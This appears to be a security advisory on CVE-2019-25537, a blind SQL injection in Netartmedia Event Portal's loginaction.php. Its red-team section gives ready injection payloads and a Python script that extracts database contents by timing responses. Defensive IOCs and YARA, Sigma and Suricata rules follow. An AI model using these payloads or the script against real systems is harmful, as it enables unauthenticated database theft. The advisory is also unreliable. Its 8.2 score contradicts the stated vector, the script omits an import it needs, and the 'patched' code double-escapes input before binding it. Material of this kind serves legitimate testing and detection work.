CVE-2019-25537

Executive Summary

CVE-2019-25537 is a critical time-based blind SQL injection vulnerability in Netartmedia Event Portal 2.0. An unauthenticated attacker can exploit the Email parameter in the loginaction.php endpoint to inject arbitrary SQL commands. This allows extraction of sensitive database information, including user credentials and application data. The vulnerability has a CVSS score of 8.2 (High) and is publicly known with proof-of-concept code available. No official patch has been released by the vendor, making affected instances highly susceptible to compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high base score reflects the ease of exploitation (no authentication required) and the severe impact on confidentiality, integrity, and availability. An attacker can fully compromise the database and potentially the underlying server.

Deep Dive & Mechanics

The vulnerability resides in the loginaction.php script, which handles user authentication. The Email POST parameter is directly concatenated into a SQL query without proper sanitization or parameterization. The application uses a time-based blind SQL injection technique, meaning the attacker does not see direct error messages but can infer database contents by observing response delays.

Vulnerable Code Snippet (Conceptual):

$email = $_POST['Email'];
$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysqli_query($conn, $query);

The attacker can inject payloads like:

' OR IF(1=1, SLEEP(5), 0) -- 

This causes a 5-second delay if the condition is true, allowing data extraction character by character.

Vulnerable vs. Patched Code

Vulnerable Code (loginaction.php):

$email = $_POST['Email'];
$password = $_POST['Password'];
$query = "SELECT * FROM users WHERE email = '$email' AND password = '$password'";
$result = mysqli_query($conn, $query);

Patched Code (Recommended):

$email = mysqli_real_escape_string($conn, $_POST['Email']);
$password = mysqli_real_escape_string($conn, $_POST['Password']);
$query = "SELECT * FROM users WHERE email = ? AND password = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "ss", $email, $password);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses prepared statements with parameterized queries, which completely prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy Netartmedia Event Portal 2.0 on a local server (e.g., XAMPP).
2. Ensure the loginaction.php endpoint is accessible.

Exploitation Steps:

1. Intercept a POST request to loginaction.php with Burp Suite.
2. Modify the Email parameter to inject a time-based payload:

   Email=test' OR IF(1=1, SLEEP(5), 0) -- 
   

3. Observe a 5-second delay confirming injection.
4. Extract database version:

   Email=test' OR IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0) -- 
   

5. Automate extraction using a script (e.g., Python with requests):

   import requests
   import string
   
   url = "http://target/loginaction.php"
   charset = string.ascii_lowercase + string.digits + "._-"
   extracted = ""
   
   for i in range(1, 20):
       for c in charset:
           payload = f"test' OR IF(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),{i},1)='{c}', SLEEP(2), 0) -- "
           data = {"Email": payload, "Password": "test"}
           start = time.time()
           r = requests.post(url, data=data)
           elapsed = time.time() - start
           if elapsed > 1.5:
               extracted += c
               break
       else:
           break
   print(extracted)
   

Blue Team (Defender)

Detection Steps:

1. Monitor web server logs for unusual loginaction.php POST requests containing SQL keywords (e.g., SLEEP, IF, OR).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Use database activity monitoring to detect anomalous queries (e.g., SLEEP function calls).
4. Implement input validation and parameterized queries as a permanent fix.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /loginaction.php with Email parameter containing SQL keywords (SLEEP, IF, BENCHMARK, WAITFOR).
  • Unusual response delays (e.g., >2 seconds) on login attempts.
• File IOCs:
  • Modified loginaction.php file (if attacker uploads a webshell).
  • Suspicious files in the web root (e.g., cmd.php, shell.php).
• Database IOCs:
  • Unauthorized queries using SLEEP() or BENCHMARK() functions.
  • New user accounts or modified privileges.

Detection Engineering

YARA Rule

rule CVE_2019_25537_SQLi_Email {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25537 in Netartmedia Event Portal"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25537"
    strings:
        $s1 = "loginaction.php" nocase
        $s2 = "Email=" nocase
        $s3 = "SLEEP" nocase
        $s4 = "IF(" nocase
        $s5 = "BENCHMARK" nocase
        $s6 = "WAITFOR" nocase
    condition:
        $s1 and $s2 and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2019-25537 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Netartmedia Event Portal loginaction.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/loginaction.php'
        cs-uri-query|contains: 'Email='
    keywords:
        - 'SLEEP'
        - 'IF('
        - 'BENCHMARK'
        - 'WAITFOR'
    condition: selection and keywords
falsepositives:
    - Legitimate use of email addresses containing 'SLEEP' (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2019-25537 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/loginaction.php"; http_uri;
    content:"Email="; http_client_body;
    pcre:"/(SLEEP|IF\s*\(|BENCHMARK|WAITFOR)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable or remove loginaction.php if not essential. Implement a temporary WAF rule to block SQL injection patterns.
2. Code Fix: Replace all dynamic SQL queries with prepared statements/parameterized queries. Use an ORM if possible.
3. Input Validation: Validate and sanitize all user inputs, especially email fields. Use a whitelist approach for allowed characters.
4. Database Hardening: Run database with least privilege. Disable dangerous functions like SLEEP() and BENCHMARK() if not needed.
5. Monitoring: Enable detailed logging for all database queries and web requests. Set up alerts for anomalous patterns.
6. Vendor Contact: Since no patch exists, consider migrating to a supported alternative or hiring a developer to fix the code.

Valters IT
Securing Digital Frontiers